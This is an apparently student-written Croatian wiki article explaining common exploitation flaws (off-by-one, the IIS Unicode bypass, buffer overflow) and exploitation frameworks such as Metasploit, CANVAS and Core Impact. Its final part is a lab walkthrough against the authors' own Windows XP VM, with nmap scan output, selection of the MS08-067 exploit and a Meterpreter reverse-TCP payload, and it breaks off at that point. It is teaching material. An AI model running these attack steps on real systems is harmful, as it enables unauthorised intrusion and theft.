Eksploatacijski frameworkovi
Preuzeli temu: Maja Hornung, Dijana Grd, Tin Komlinović
Sadržaj |
NAJČEŠĆE TEHNIKE EKSPLOATACIJE
Eksploatacija je radnja kojom pokušavamo navesti program da radi ono što nije njegova prvotna namjena, već ono što mi želimo da program radi. To nam omogućuju sigurnosni propusti u programu ili njegovoj okolini.
FENCEPOST ERROR
“Jedna od čestih programerskih grešaka je off-by-one error" [Jon Erickson, Hacking – The Art of Exploatation – 2nd edition, No Starch Press, San Francisco]. To je greška gdje programer pogriješi u brojanju za jedan. U engleskom žargonu se naziva fencepost error. Takav naziv je dobila po tipičnom problemu: Ako trebamo izgraditi ogradu od 100 metara,a svakih 10 metara ograde treba biti jedan stup, koliko nam treba stupova? Tipičan odgovor je 10 stupova, ali to nije točan odgovor. Treba nam 11 stupova. Odnosno 10+1. Poznati primjer fencepost error-a je propust u OpenSSH. Kod je izgledao ovako:
if (id < 0 || id > channels_alloc) {
a trebao je izgledati ovako:
if (id < 0 || id >= channels_alloc) {
Kod je preuzet iz Jon Erickson, Hacking – The Art of Exploatation – 2nd edition, No Starch Press, San Francisco.
Ova naizgled mala greška omogućila je da se korisnici s nižim ovlastima mogu koristiti administratorske ovlasti.
--Tin.komlinovic 22:50, 2. siječnja 2012. (CET)
PROŠIRENJE FUNKCIONALNOSTI PROGRAMA
Prilikom proširenja funkcionalnosti programa često se dogode pogreške i propusti u programiranju koji omogućuju eksploataciju programa. Jedan od poznatijih primjera je propust u Microsoft IIS-u (Internet Information Services). IIS je Web server za posluživanje različitih sadržaja na webu. Ti sadržaji mogu biti interaktivni ili statičnog karaktera. Zbog te karakteristike se korisnicima treba omogućiti čitanje i pisanje te izvođenje programa. Korisnici su imali ovlasti da koriste samo određene direktorije. Kako bi sprječili korisnika da uđe u tuđi direktorij, programeri su zabranili korištenje znaka backslash (\). Ta zabrana je dobro funkcionirala dok Microsoft nije odlučio da će postojeći standard za znakove zamijeniti Unicode standardom. Unicode koristi dva bita za zapisivanje svakog znaka i omogućuje podršku za sve specijalne znakove iz svih jezika. S obzirom da se pomoću Unicode-a može prikazati nekoliko tisuća znakova, neki znakovi se mogu prikazati na nekoliko načina. Jedan od tih znakova je i backslash. S obzirom da su programeri onemogućili samo jedan zapis backslasha, korisnici su pomoću drugih zapisa mogli ući u bilo koji direktorij.
--Tin.komlinovic 22:51, 2. siječnja 2012. (CET)
BUFFER OVERFLOW
Jedan od najčešćih ranjivosti programa je Buffer overflow (hrv. prekoračenje kapaciteta međuspremnika). U mnogim programskim jezicima kao što su C ili C++ se podrazumijeva da programer vodi računa o količini podataka koju pohranjuje u određeni memorijski prostor. Programski jezici ne vode računa o takvim stvarima jer bi ih to bitno zakompliciralo. Do problema dolazi zbog toga što se memorija za određenu varijablu unaprijed zauzme pa ako se u varijablu želi spremiti više podataka od zauzete memorije, ti podaci se jednostavno zapišu u sljedeće memorijske adrese, što može dovesti do prepisivanja sadržaja tih memorijskih adresa. Takvi događaji mogu izazvati rušenje programa, ali ako se dogode u kontroliranim uvjetima mogu omogućiti eksploataciju programa. Najveći problem je što se Buffer overflow vrlo lako previdi. Jedna od mogućih zaštita je provjeravanje duljine podataka koji se pohranjuju u varijablu. Primjer Buffer overflow-a iz knjige [Jon Erickson, Hacking – The Art of Exploatation – 2nd edition, No Starch Press, San Francisco]:
#include <stdio.h> #include <stdlib.h> #include <string.h> int check_authentication(char *password) { int auth_flag = 0; char password_buffer[16]; strcpy(password_buffer, password); if(strcmp(password_buffer, "brillig") == 0) auth_flag = 1; if(strcmp(password_buffer, "outgrabe") == 0) auth_flag = 1; return auth_flag; } int main(int argc, char *argv[]) { if(argc < 2) { printf("Usage: %s <password>\n", argv[0]); exit(0); } if(check_authentication(argv[1])) { printf("\n-=-=-=-=-=-=-=-=-=-=-=-=-=-\n"); printf(" Access Granted.\n"); printf("-=-=-=-=-=-=-=-=-=-=-=-=-=-\n"); } else { printf("\nAccess Denied.\n"); } }
Kao što se može i zaključiti iz koda, namjena programa je ispisati Access Granted ako korisnik unese lozinku brillig ili outgrabe, a ako unese neku drugu lozinku ispisati Access Denied. Program radi dobro dok god je unesena lozinka veličine do 16 znakova. Ako korisnik unese lozinku AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA, program će ispisati Access Granted, što predstavlja veliki problem. Do ovakvog rezulata je došlo jer su se podaci iz password_buffer-a “prelili” u auth_flag koji je poprimio vrijednost drugačiju od 0 što znači da će program ispisati Access Granted.
--Tin.komlinovic 22:52, 2. siječnja 2012. (CET)
EKSPLOATACIJSKI FRAMEWORKOVI I KARAKTERISTIKE
Prije nego što vidimo koji su to najpoznatiji alati za penetracijska testiranja, trebalo bi utvrditi još neke stvari. Već smo upoznati sa time da se područje informacijske sigurnosti sve više i sve brže razvija, a zahvaljujući Internetu je svako računalo u opasnosti od napada zlonamjernih korisnika. Kako bi se što lakše omogućila sigurnost informacijskih sustava, razvijeni su mnogi alati koji olakšavaju njeno izvođenje.
Penetracijska testiranja su uglavnom jako teška i komplicirana pa su prvenstveno zbog toga razvijeni eksploatacijski frameworkovi. Oni se mogu definirati kao skup skripti i alata, koji pomoću skupa predefiniranih skripti automatiziraju i olakšavaju eksploataciju poznatih ranjivosti u aplikacijama i operacijskim sustavima. Prvo su napravljeni kao razvojni alat koji bi mrežnim i sistemskim administratorima olakšao penetracijska testiranja, međutim danas je iznimno koristan i negativcima.
Eksploatacijski frameworkovi koriste zbirku poznatih ranjivosti za određeni sustav i kreiraju skup napada koji bi se najvjerojatnije dogodili u stvarnosti. Kako se otkrivaju nove ranjivosti dodaje ih se u frameworkove kako bi bili ažurni. Sve predefinirane skripte se nalaze u instalacijskom paketu, tako da nema potrebe instalirati dodatni softver ili modificirati skripte kako bi se uspješno izvršavala eksploatacija – potrebno je samo podesiti neke parametre unutar programa. Jedna od najvažnijih postavki koje korisnik treba konfigurirati je "Payload". Koristan sadržaj (engl. payload) je kod koji se izvršava na odredišnom sustavu nakon što se eksploatacijom otvori komunikacija sa metom. Upravo koristan teret i exploit čine temelj funkcioniranja frameworkova.
Još jedna stvar koju ovdje treba spomenuti je shellcode generator. Korisni teret je u osnovi skup instrukcija ili skripta koje su pisane shellcodeom. Međutim, mnogi ne znaju programirati u shellcodeu, pa se pomoću generatora standardni kod konvertira u "shellcode" kojega mogu koristiti eksploatacijski frameworkovi.
Najvažnija među mnogim prednostima koje omogućuju eksploatacijski frameworkovi je modularnost eksploatacijskog koda. Prije nego su eksploatacijski frameworkovi razvijeni, exploiti i koristan teret su se teško spajali i najčešće su radili samo jednu stvar (na primjer kreiranje novog korisnika na kompromitiranom sustavu). Ponovna upotreba koda i modularnost su omogućile da eksploatacijske skripte postanu čišće i konciznije pošto je temeljna funkcionalnost već bila uključena u biblioteku frameworkova.
Danas se napadači računala (bilo oni zlih namjera ili profesionalni penetracijski testeri) većinom pouzdaju u eksploatacijske frameworkove za realizaciju svojih napada. Danas postoji već dosta alata, a najpoznatiji (koje ću ujedno ovdje i opisati) su Metasploit (open source), te komercijalni alati Core Impact i CANVAS. Metasploit nam je svima dostupan i zbog toga ću njemu posvetiti više stranica. Core Impact i CANVAS ću spomenuti samo ukratko jer to su poprilično skupi alati i zbog toga su male šanse da ćete se susresti sa njima.
--Mhornung
METASPLOIT
S razvojem raznih alata koji su pojednostavili osiguravanje informacijskih sustava javilo se i nekoliko problema. Jedan od njih je i međusobna nekompatibilnost zbog toga što svi ti alati imaju različita sučelja. Zbog toga je nastao Metasploit Framework koji je u stvari biblioteka specifičnih koraka koji nam olakšavaju rad s različitim alatima. Pošto je postojala velika potreba za takvim okruženjem, Metasploit je brzo prerastao u okolinu za razvoj, održavanje i pokretanje ranjivosti, a nama najvažnije – u okolinu za izvođenje penetracijskih provjera.
Metasploit je open source eksploatacijski framework koji je nastao 2003. godine. Upravo zbog toga što je besplatan ga vjerojatno više koriste hakeri nego dobronamjerni profesionalci. Napisao ga je HD Moore koristeći programski jezik Perl, a trenutna verzija je pisana u jeziku Ruby. Danas Metasploit sadrži više stotina exploitova, većinom za Microsoft Windows platformu. On pruža cijelu infrastrukturu za automatiziranje složenih, ali i šablonskih zadataka, pomaže u identificiranju sigurnosnih problema, provjerava ublažavanje ranjivosti i upravlja stručno vođenim procjenama sigurnosti, omogućavajući obavještavanje o sigurnosnim rizicima. Njegove mogućnosti uključuju eksploataciju, revizije lozinke, skeniranje web aplikacija i socijalni inženjering. Metasploit projekt je promijenio postojeći način razvoja ranjivosti – izrada novih ranjivosti je omogućena čak i početnicima. Svi korisnici mogu surađivati u Metasploitu i iznijeti svoja otkrića u izvješćima. Zahvaljujući upravo velikoj zajednici korisnika postoje brojni dodatci koji nadopunjuju osnovni projekt dodatnim funkcionalnostima.
Zbog svoje specifične arhitekture podržava veliki broj modula koji se koriste u različitim fazama provjeravanja, te se danas smatra jednim od glavnih alata koji podržavaju sve faze penetracijskog ispitivanja sustava.
--Mhornung
Arhitektura
Metasploit Framework ima prilagodljivu arhitekturu koja omogućuje jednostavnu nadogradnju projekta stvaranjem novih modula, biblioteka i drugih dodataka. Na slici je prikazana skica njegove arhitekture.
Prema slici vidimo da su alati, dodaci, biblioteke i moduli dio ove arhitekture. Ovdje ću ih detaljnije opisati.
Alati (engl. Tools) se koriste za obavljanje konkretnih radnji. Metasploit podržava velik broj alata za sve faze penetracijskog ispitivanja (na primjer Nmap za analizu udaljenog računala).
Dodatci (engl. Plugins) predstavljaju posebne elemente koji komuniciraju s ostalim alatima pomoću programskih sučelja (Msf::Core, Msf::Base). Oni se razvijaju u svrhu olakšanja ili automatizacije određenih radnji, a dostupni su isključivo putem konzole. Dodatcima se proširuje funkcionalnost osnovnog projekta jer se svi oni očituju u obliku novih naredbi.
Biblioteke (engl. Libraries) predstavljaju osnovne funkcionalnosti koje su grupirane su u 3 skupine:
- Msf::Base – pojednostavljenje osnovnog programskog sučelja; olakšava korisnicima interakciju sa raznim alatima.
- Msf::Core – osnovno programsko sučelje koje definira Metasploit Framework; koriste ga svi alati i moduli za interakciju sa Metasploit projektom.
- Rex – biblioteka koja sadrži osnovne funkcionalnosti koje se koriste u raznim dijelovima projekta i mnogim modulima. Također uključuje podršku za rad s raznim mrežnim protokolima (na primjer HTTP i SMB), a omogućuje i upravljanje znakovnim nizom.
Moduli (engl. Modules) su dijelovi od kojih se sastoji Metasploit Framework projekt, a koje korisnik može koristiti prilikom ispitivanja sustava. Postoji više kategorija modula:
- Koristan teret (engl. Payload) – konkretan niz koraka koji iskorištava određenu ranjivost. Ne sadrži nikakve podesive parametre ni sučelje prema korisniku. Pomoću alata msfpayload je moguće stvaranje i izvoz korisnog tereta.
- Ranjivost (engl. Exploit) – skup koraka u određenom programskom jeziku koji iskorištavaju propust na sustavu. Ostvaruju određeni cilj tako što se na odredišnom računalu izvodi koristan teret koji sadržavaju u sebi. Exploitovi su dijelovi koda koji se mogu prepraviti i prilagoditi žrtvi. Postoje dvije vrste ranjivosti – aktivna (pokreće je korisnik iz konzole) i pasivna (vezu uspostavlja žrtva).
- Koder (engl. Encoder) – ponekad treba zaobići sustav za otkrivanje napada (engl. Intrusion Detection System) pa je potrebno kodirati ili zaštititi payload. Kodiranje se obavlja pomoću jednog ili više algoritama, a moduli se pozivaju msfencode naredbom iz naredbenog retka operacijskog sustava.
- Prazne naredbe (engl. Nop – No Operation) – odgađaju izvođenje programa, podržavaju ih svi programski jezici, a to su uglavnom naredbe sleep i delay. Ove naredbe se na razini procesora mogu izvesti i kao prazne naredba.
- Pomoćni (engl. Auxiliary) – kao što samo ime govori, ovo su moduli koji sadrže pomoćne funkcionalnosti, koje mogu biti općenite ili specifične. Oni služe za ubrzavanje ili olakšavanje pojedinih radnji, ali ne iskorištavaju ranjivost niti se koriste za dobivanje pristupa meti.
--Mhornung
Komponente
Metasploit Framework se sastoji od mnogo različitih modula i komponenata, a pomoću mnogih se u stvari proširuje osnovna funkcionalnost Metasploit projekta. Ovdje ću spomenuti neke od tih komponenata koje se najčešće koriste.
Meterpreter
Penetracijska provjera ne završava dobivanjem pristupa, nego je potrebno dodatno dokazati propuste izvođenjem drugih radnji pomoću preuzetog računala. Meterpreter je modul koji se koristi upravo u toj post-penetracijskoj fazi. Kada se željenim propustom uspije pristupiti određenom računalu, potrebno je Meterpreter prebaciti kao koristan teret. Kada je prebačen, on se samostalno pokreće na računalu žrtvi i korisniku omogućuje pristup mnogim funkcionalnostima Metasploit Frameworka (najčešće se koriste funkcionalnosti krađe lozinki, pristupa povjerljivim korisničkim informacijama i prikrivanja tragova o napadu).
Nije rijetkost da prilikom preuzimanja ovlasti na nekom računalu imamo samo ograničen pristup – to je stoga što se dogodi da napadom preuzmemo korisnički račun s ograničenim ovlastima. U tom slučaju možemo samostalno kreirati novog korisnika i dodijeliti mu ovlasti kakve želimo. Taj modul se na žalost još ne nalazi u Meterpreteru, nego korisnik mora sam kreirati novog korisnika u naredbenom retku. Ako se pak dogodi da račun koji smo preuzeli ima toliko ograničene ovlasti da ne možemo čak niti kreirati novog korisnika, moramo koristiti malo drugačije ranjivosti i module kako bi uspjeli dobiti pristup korisničkom računu sa većim ovlastima.
Kada se preuzmu ovlasti nad jednim računalom, može ih se iskoristiti za preuzimanje ovlasti nad ostalim računalima u lokalnoj mreži tog računala. Meterpreter nudi već gotove module koji olakšavaju taj postupak širenja ovlasti s jednog računala na druga (to se naziva stožiranje, engl. pivoting).
Meterpreter predstavlja sasvim odvojeno okruženje od ostatka Metasploit projekta, te je dijelom napravljen programskom jeziku C (zato da bi se mogao koristiti na svim operacijskim sustavima). Koga zanimaju naredbe u Meterpreteru → http://www.offensive-security.com/metasploit-unleashed/Metasploit_Meterpreter_Basics
PCAP
Prilikom obavljanja penetracijske provjere su važni alati za snimanje prometa, a jedno od najpopularnijih programskih sučelja za praćenje prometa je PCAP. Ovaj dodatak može pohraniti do 200 000 paketa te prikupljene informacije poslati korisničkom računalu na analizu. Ove informacije se mogu pregledavati pomoću alata za praćenje prometa, kao što je Wireshark. Jedna od funkcionalnosti ovog dodatka je praćenje prometa na računalu žrtve pomoću Meterpreter konzole bez potrebe za zapisivanjem stanja na disk, što je korisno kada želimo promatrati vrste informacija koje se šalju u mreži.
MSFpayload
Ova komponenta korisnicima omogućuje proizvodnju programskog koda (u jezicima C, Visual Basic, JavaScript i Ruby), izvršnih datoteka i ranjivosti koje se mogu koristiti izvan Metasploit okruženja. Programski jezik ranjivosti može biti različit, ovisno o meti i platformi na kojoj se zasniva, a to olakšava provjeru sustava. Na primjer, ako želimo dokazati ranjivost zasnovanu na web pregledniku, najbolje je koristiti ranjivost napisanu u JavaScript jeziku.
--Mhornung
Nadogradnja Metasploit Framework projekta
Metasploit Framework projekt je iznimno popularan i stoga ga, iako postoji službeni tim, u stvari održava velika zajednica korisnika. Korisnici dodaju svoje module i tako razvijaju osnovni projekt. Spomenuti ću nekoliko zanimljivih komponenti koje su nastale upravo zahvaljujući korisnicima.
Armitage
Armitage je novo grafičko sučelje Metasploit projekta koje olakšava upravljanje napadom pomoću vizualiziranja žrtve, predlaganja napada i omogućavanjem pristupa naprednim funkcijama Metasploit projekta. Napravljen je kao nadogradnja osnovnog projekta, oslanja se na programski jezik Java, a prilikom pokretanja se spaja na lokalnu Metasploit bazu podataka kako bi omogućio rad sa svim modulima. Nakon njegovog pokretanja moguće je korištenje većine mogućnosti Metasploit Framework projekta. Ranjivosti su grupirane u skupine i podskupine koje detaljnije određuju ranjivost ili modul koji se želi koristiti. Kako se većina penetracijskih provjera radi u skupinama i svaki član ima svoje dužnosti, jedna od korisnih Armitageovih funkcionalnosti uključuje zajednički rad svih članova skupine. Armitage je pogodan za korisnike koji su naviknuti na izvođenje penetracijskih testova, ali nisu upoznati sa Metasploit projektom.
SET – Social Engineering Toolkit
U početku Metasploit projekt nije podržavao niti jedan modul orijentiran na iskorištavanje ljudskih slabosti i zbog toga je razvijen novi alat – SET. On pokriva propust koji je nastao u ranijim penetracijskim provjerama koje su se oslanjale isključivo na ispitivanje računala, ali ne i na provjeru korisnika. SET je postao standard za izvođenje penetracijskih provjera nad ljudskim dijelom informacijskog sustava, a oslanja se na područje društvenog inženjeringa. Većina sigurnosnih stručnjaka smatra da su ljudi najveća sigurnosna prijetnja informacijskim sustavima jer se napadi usmjeravaju na ljude koji sporo usvajaju nova ponašanja. SET ima veliku bazu znanja o ljudskim slabostima i nudi klasično konzolno sučelje za pokretanje napada. Napadi se do korisnika dostavljaju putem USB uređaja, e-maila, web stranica i raznim drugim sredstvima. Metoda iskorištavanja se temelji na zavaravanju zaposlenika porukom kako bi se zaobišao neki sigurnosni mehanizam.
--Mhornung
CANVAS
CANVAS je komercijalni eksploatacijski framework pokrenut 2002. godine od strane Immunity Inc. Plaća se po modelu pretplata i izvorni kod je dostupan samo onima koji ga kupe. U paketu dolazi sa automatskim sustavom eksploatacije, više stotina exploitova, a u prosjeku se svaki mjesec doda 4 nova exploita koji se strogo provjeravaju prije objavljivanja, a razvojni tim je dostupan putem maila. Exploitovi se objavljuju prema prioritetu, odnosno prvo se objavljuju oni koji imaju visoku razinu ranjivosti. Dokumentacija i demonstracije novih exploitova se rade pomoću flash filmova. Korisnici nisu ograničeni na exploitove napravljene u Immunityju jer nekoliko drugih dobavljača nudi exploit pakete za CANVAS.
Ažurira se redovito svakoga mjeseca, a korisnike se o tome obavještava putem e-maila. Također nema ograničenja vezanih uz IP adrese žrtve. Podržan je na platformama Windows, Linux i MacOSX, kao i na ostalim Python okruženjima kao što su mobilni uređaji.
Ako vas zanimaju detalji možete ih pronaći na stranici http://www.immunitysec.com/products-canvas.shtml
--Mhornung
CORE IMPACT
Core Impact je također komercijalni eksploatacijski framework i dosta skuplji od CANVAS-a. Napravljen je 1996. godine od strane CORE Security Technologies i predstavljen kao prvi potpuno automatizirani proizvod za penetracijsko testiranje. Ima dodatnu funkcionalnost stvaranja izvještaja. Kao i kod CANVAS-a, moduli se provjeravaju prije i nakon objave i kontinuirano se ažuriraju. Omogućuje tehnologiju koja pomaže napadaču prikupiti informacije o kontroli kompromitiranih sustava. Zbog njegove cijene ga uglavnom koriste kompanije.
Detalje možete pronaći na stranici http://www.coresecurity.com/content/core-impact-overview
--Mhornung
EKSPLOATACIJA VIRTUALNE WINDOWS XP MAŠINE
Testiranja iz ovog poglavlja su obavljena na virtualnoj mašini instaliranoj pomoću Parrallel Desktop softvera na Windows XP Service Pack 2 operacijskom sustavu.
Kako bi mogili napasti virtualnu mašinu, prvo moramo saznati njezinu IP adresu. S obzirom da smo vlasnici virtualne mašine, znamo njezinu IP adresu. IP adresa virtualne mašine je 10.211.55.6. Sada kada znamo koja je IP adresa virtualne mašine, možemo skenirati njezine ranjivosti. Skeniranje ćemo provesti unutar Metasploita, ali korištenjem nmap plugina. Nmap je program za skeniranje ranjivosti sustava, više o programu je moguće saznati na http://nmap.org. Koristit ćemo zastavice sT – koja označava “prikrivenu TCP konekciju” i –A koja označava detekciju operacijskog sustava.
nmap -sT -A --script=smb-check-vulns -P0 10.211.55.6
Nakon izvršenja naredbe rezultat izgleda ovako:
Stats: 0:00:07 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan Service scan Timing: About 0.00% done Nmap scan report for 10.211.55.6 Host is up (0.00023s latency). Not shown: 997 closed ports PORT STATE SERVICE VERSION 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn 445/tcp open microsoft-ds Microsoft Windows XP microsoft-ds Service Info: OS: Windows Host script results: | smb-check-vulns: | MS08-067: VULNERABLE | Conficker: Likely CLEAN | regsvc DoS: CHECK DISABLED (add '--script-args=unsafe=1' to run) | SMBv2 DoS (CVE-2009-3103): CHECK DISABLED (add '--script-args=unsafe=1' to run) | MS06-025: CHECK DISABLED (remove 'safe=1' argument to run) |_ MS07-029: CHECK DISABLED (remove 'safe=1' argument to run) Service detection performed. Please report any incorrect results at http://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 7.81 seconds
Iz pretrage ranjivosti možemo vidjeti koji su portovi otvoreni, o kojem se operacijskom sustavu radi i koje su ranjivosti. Kako nam skeniranje ranjivosti pokazuje da je sustav ranjiv na MS08-067, pokušat ćemo iskoristiti tu ranjivost kako bi ušli u sustav. Prvo ćemo pretražiti module koji sadrže MS08-067. To ćemo napraviti jednostavnom naredbom:
msf > search MS08-067
Rezultat pretrage je:
Matching Modules ================ Name Disclosure Date Rank Description ---- --------------- ---- ----------- exploit/windows/smb/ms08_067_netapi 2008-10-28 great Microsoft Server Service Relative Path Stack Corruption
S obzirom da smo dobili samo jedan rezultat, eksploataciju ćemo započeti naredbom:
use exploti/windows/smb/ms08_067_netapi
Kada smo odabrali eksploataciju, možemo provjeriti koji su sve payloadovi dostupni za ovu eksploataciju. To ćemo neapraviti naredbom:
exploit(ms08_067_netapi) > show payloads
Rezultat ove naredbe je popis svih payloada koje je moguće iskoristiti u ovoj eksploataciji:
Compatible Payloads =================== Name Disclosure Date Rank Description ---- --------------- ---- ----------- generic/custom normal Custom Payload generic/debug_trap normal Generic x86 Debug Trap generic/shell_bind_tcp normal Generic Command Shell, Bind TCP Inline generic/shell_reverse_tcp normal Generic Command Shell, Reverse TCP Inline generic/tight_loop normal Generic x86 Tight Loop windows/adduser normal Windows Execute net user /ADD windows/dllinject/bind_ipv6_tcp normal Reflective Dll Injection, Bind TCP Stager (IPv6) windows/dllinject/bind_nonx_tcp normal Reflective Dll Injection, Bind TCP Stager (No NX or Win7) windows/dllinject/bind_tcp normal Reflective Dll Injection, Bind TCP Stager windows/dllinject/reverse_http normal Reflective Dll Injection, Reverse HTTP Stager windows/dllinject/reverse_ipv6_http normal Reflective Dll Injection, Reverse HTTP Stager (IPv6) windows/dllinject/reverse_ipv6_tcp normal Reflective Dll Injection, Reverse TCP Stager (IPv6) windows/dllinject/reverse_nonx_tcp normal Reflective Dll Injection, Reverse TCP Stager (No NX or Win7) windows/dllinject/reverse_ord_tcp normal Reflective Dll Injection, Reverse Ordinal TCP Stager (No NX or Win7) windows/dllinject/reverse_tcp normal Reflective Dll Injection, Reverse TCP Stager windows/dllinject/reverse_tcp_allports normal Reflective Dll Injection, Reverse All-Port TCP Stager windows/dllinject/reverse_tcp_dns normal Reflective Dll Injection, Reverse TCP Stager (DNS) windows/download_exec normal Windows Executable Download and Execute windows/exec normal Windows Execute Command windows/loadlibrary normal Windows LoadLibrary Path windows/messagebox normal Windows MessageBox windows/meterpreter/bind_ipv6_tcp normal Windows Meterpreter (Reflective Injection), Bind TCP Stager (IPv6) windows/meterpreter/bind_nonx_tcp normal Windows Meterpreter (Reflective Injection), Bind TCP Stager (No NX or Win7) windows/meterpreter/bind_tcp normal Windows Meterpreter (Reflective Injection), Bind TCP Stager windows/meterpreter/reverse_http normal Windows Meterpreter (Reflective Injection), Reverse HTTP Stager windows/meterpreter/reverse_https normal Windows Meterpreter (Reflective Injection), Reverse HTTPS Stager windows/meterpreter/reverse_ipv6_http normal Windows Meterpreter (Reflective Injection), Reverse HTTP Stager (IPv6) windows/meterpreter/reverse_ipv6_https normal Windows Meterpreter (Reflective Injection), Reverse HTTPS Stager (IPv6) windows/meterpreter/reverse_ipv6_tcp normal Windows Meterpreter (Reflective Injection), Reverse TCP Stager (IPv6) windows/meterpreter/reverse_nonx_tcp normal Windows Meterpreter (Reflective Injection), Reverse TCP Stager (No NX or Win7) windows/meterpreter/reverse_ord_tcp normal Windows Meterpreter (Reflective Injection), Reverse Ordinal TCP Stager (No NX or Win7) windows/meterpreter/reverse_tcp normal Windows Meterpreter (Reflective Injection), Reverse TCP Stager windows/meterpreter/reverse_tcp_allports normal Windows Meterpreter (Reflective Injection), Reverse All-Port TCP Stager windows/meterpreter/reverse_tcp_dns normal Windows Meterpreter (Reflective Injection), Reverse TCP Stager (DNS) windows/metsvc_bind_tcp normal Windows Meterpreter Service, Bind TCP windows/metsvc_reverse_tcp normal Windows Meterpreter Service, Reverse TCP Inline windows/patchupdllinject/bind_ipv6_tcp normal Windows Inject DLL, Bind TCP Stager (IPv6) windows/patchupdllinject/bind_nonx_tcp normal Windows Inject DLL, Bind TCP Stager (No NX or Win7) windows/patchupdllinject/bind_tcp normal Windows Inject DLL, Bind TCP Stager windows/patchupdllinject/reverse_ipv6_tcp normal Windows Inject DLL, Reverse TCP Stager (IPv6) windows/patchupdllinject/reverse_nonx_tcp normal Windows Inject DLL, Reverse TCP Stager (No NX or Win7) windows/patchupdllinject/reverse_ord_tcp normal Windows Inject DLL, Reverse Ordinal TCP Stager (No NX or Win7) windows/patchupdllinject/reverse_tcp normal Windows Inject DLL, Reverse TCP Stager windows/patchupdllinject/reverse_tcp_allports normal Windows Inject DLL, Reverse All-Port TCP Stager windows/patchupdllinject/reverse_tcp_dns normal Windows Inject DLL, Reverse TCP Stager (DNS) windows/patchupmeterpreter/bind_ipv6_tcp normal Windows Meterpreter (skape/jt injection), Bind TCP Stager (IPv6) windows/patchupmeterpreter/bind_nonx_tcp normal Windows Meterpreter (skape/jt injection), Bind TCP Stager (No NX or Win7) windows/patchupmeterpreter/bind_tcp normal Windows Meterpreter (skape/jt injection), Bind TCP Stager windows/patchupmeterpreter/reverse_ipv6_tcp normal Windows Meterpreter (skape/jt injection), Reverse TCP Stager (IPv6) windows/patchupmeterpreter/reverse_nonx_tcp normal Windows Meterpreter (skape/jt injection), Reverse TCP Stager (No NX or Win7) windows/patchupmeterpreter/reverse_ord_tcp normal Windows Meterpreter (skape/jt injection), Reverse Ordinal TCP Stager (No NX or Win7) windows/patchupmeterpreter/reverse_tcp normal Windows Meterpreter (skape/jt injection), Reverse TCP Stager windows/patchupmeterpreter/reverse_tcp_allports normal Windows Meterpreter (skape/jt injection), Reverse All-Port TCP Stager windows/patchupmeterpreter/reverse_tcp_dns normal Windows Meterpreter (skape/jt injection), Reverse TCP Stager (DNS) windows/shell/bind_ipv6_tcp normal Windows Command Shell, Bind TCP Stager (IPv6) windows/shell/bind_nonx_tcp normal Windows Command Shell, Bind TCP Stager (No NX or Win7) windows/shell/bind_tcp normal Windows Command Shell, Bind TCP Stager windows/shell/reverse_http normal Windows Command Shell, Reverse HTTP Stager windows/shell/reverse_ipv6_http normal Windows Command Shell, Reverse HTTP Stager (IPv6) windows/shell/reverse_ipv6_tcp normal Windows Command Shell, Reverse TCP Stager (IPv6) windows/shell/reverse_nonx_tcp normal Windows Command Shell, Reverse TCP Stager (No NX or Win7) windows/shell/reverse_ord_tcp normal Windows Command Shell, Reverse Ordinal TCP Stager (No NX or Win7) windows/shell/reverse_tcp normal Windows Command Shell, Reverse TCP Stager windows/shell/reverse_tcp_allports normal Windows Command Shell, Reverse All-Port TCP Stager windows/shell/reverse_tcp_dns normal Windows Command Shell, Reverse TCP Stager (DNS) windows/shell_bind_tcp normal Windows Command Shell, Bind TCP Inline windows/shell_reverse_tcp normal Windows Command Shell, Reverse TCP Inline windows/speak_pwned normal Windows Speech API - Say "You Got Pwned!" windows/upexec/bind_ipv6_tcp normal Windows Upload/Execute, Bind TCP Stager (IPv6) windows/upexec/bind_nonx_tcp normal Windows Upload/Execute, Bind TCP Stager (No NX or Win7) windows/upexec/bind_tcp normal Windows Upload/Execute, Bind TCP Stager windows/upexec/reverse_http normal Windows Upload/Execute, Reverse HTTP Stager windows/upexec/reverse_ipv6_http normal Windows Upload/Execute, Reverse HTTP Stager (IPv6) windows/upexec/reverse_ipv6_tcp normal Windows Upload/Execute, Reverse TCP Stager (IPv6) windows/upexec/reverse_nonx_tcp normal Windows Upload/Execute, Reverse TCP Stager (No NX or Win7) windows/upexec/reverse_ord_tcp normal Windows Upload/Execute, Reverse Ordinal TCP Stager (No NX or Win7) windows/upexec/reverse_tcp normal Windows Upload/Execute, Reverse TCP Stager windows/upexec/reverse_tcp_allports normal Windows Upload/Execute, Reverse All-Port TCP Stager windows/upexec/reverse_tcp_dns normal Windows Upload/Execute, Reverse TCP Stager (DNS) windows/vncinject/bind_ipv6_tcp normal VNC Server (Reflective Injection), Bind TCP Stager (IPv6) windows/vncinject/bind_nonx_tcp normal VNC Server (Reflective Injection), Bind TCP Stager (No NX or Win7) windows/vncinject/bind_tcp normal VNC Server (Reflective Injection), Bind TCP Stager windows/vncinject/reverse_http normal VNC Server (Reflective Injection), Reverse HTTP Stager windows/vncinject/reverse_ipv6_http normal VNC Server (Reflective Injection), Reverse HTTP Stager (IPv6) windows/vncinject/reverse_ipv6_tcp normal VNC Server (Reflective Injection), Reverse TCP Stager (IPv6) windows/vncinject/reverse_nonx_tcp normal VNC Server (Reflective Injection), Reverse TCP Stager (No NX or Win7) windows/vncinject/reverse_ord_tcp normal VNC Server (Reflective Injection), Reverse Ordinal TCP Stager (No NX or Win7) windows/vncinject/reverse_tcp normal VNC Server (Reflective Injection), Reverse TCP Stager windows/vncinject/reverse_tcp_allports normal VNC Server (Reflective Injection), Reverse All-Port TCP Stager windows/vncinject/reverse_tcp_dns normal VNC Server (Reflective Injection), Reverse TCP Stager (DNS)
Da bismo odabrali payload, potrebno je iskoristiti naredbu set payload. Uz naredbu treba upisati i potpuno ime payloada U ovom primjeru će biti korišten windows/meterpreter/reverse_tcp:
set payload windows/meterpreter/reverse_tcp
Kako bi saznali što sve trebamo podesiti za izvođenje eksploatacije trebamo pozvati naredbu show options. Za ovaj primjer dobivamo sljedeći rezultat:
